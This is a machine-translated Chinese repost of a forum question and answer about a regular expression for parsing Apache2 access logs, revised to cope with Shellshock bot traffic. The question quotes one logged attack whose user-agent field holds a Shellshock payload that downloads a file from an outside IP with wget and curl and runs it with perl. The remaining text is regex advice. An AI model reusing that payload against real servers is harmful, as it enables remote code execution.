[英]Regexp to parse apache2 log, handle SHELLSHOCK bash hack
我想解析Apache2日志文件,并使用以下regexp在这里找到了一个不错的regexp:
/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/
问题在于此regexp早于shellshock hack机器人,并且该字符串与用户代理字符串(如以下发送的字符串)不匹配:
糟糕的bash攻击示例:
199.217.117.211 - - [18/Jan/2015:04:51:19 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\""
这是一条常规的日志行:
157.55.39.0 - - [18/Jan/2015:09:32:37 -0500] "GET / HTTP/1.1" 200 37966 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
有人可以提供更新的regexp来处理被黑的用户代理字符串,或者建议另选两步php-regexp以更好地证明被黑? 我可以看到与处理\\“有关的特定问题,并且看来最后一个regep可以替换为”(。*)“ $,但是我想请专家提出意见...谢谢。
更改两个实例
"([^"]*)"
至
"((?:[^"]|\\")*)"
这将允许在加引号的字符串中使用\\ “ 。
顺便说一句,这是没有必要在一个正则表达式反斜杠转义引号,也不是必要的反斜杠转义]字符类时是班上第一个字符。 因此,您可以删除一些多余的反斜杠。 就我个人而言,我将使用相同的引用排除语法而不是非贪婪匹配。
最后,如注释所示,在请求不完整的情况下,请求的解析将失败。 如果唯一不完整的请求行是缺少指示符( "-"
),则可以通过将大多数请求设为可选,将-
保留为“方法”来识别这些请求。
因此,我建议以下几点:
/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^]]+)\] "(\S+)(?: ((?:[^"]|\\")*) (\S+))?" (\S+) (\S+) "((?:[^"]|\\")*)" "((?:[^"]|\\")*)"$/
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.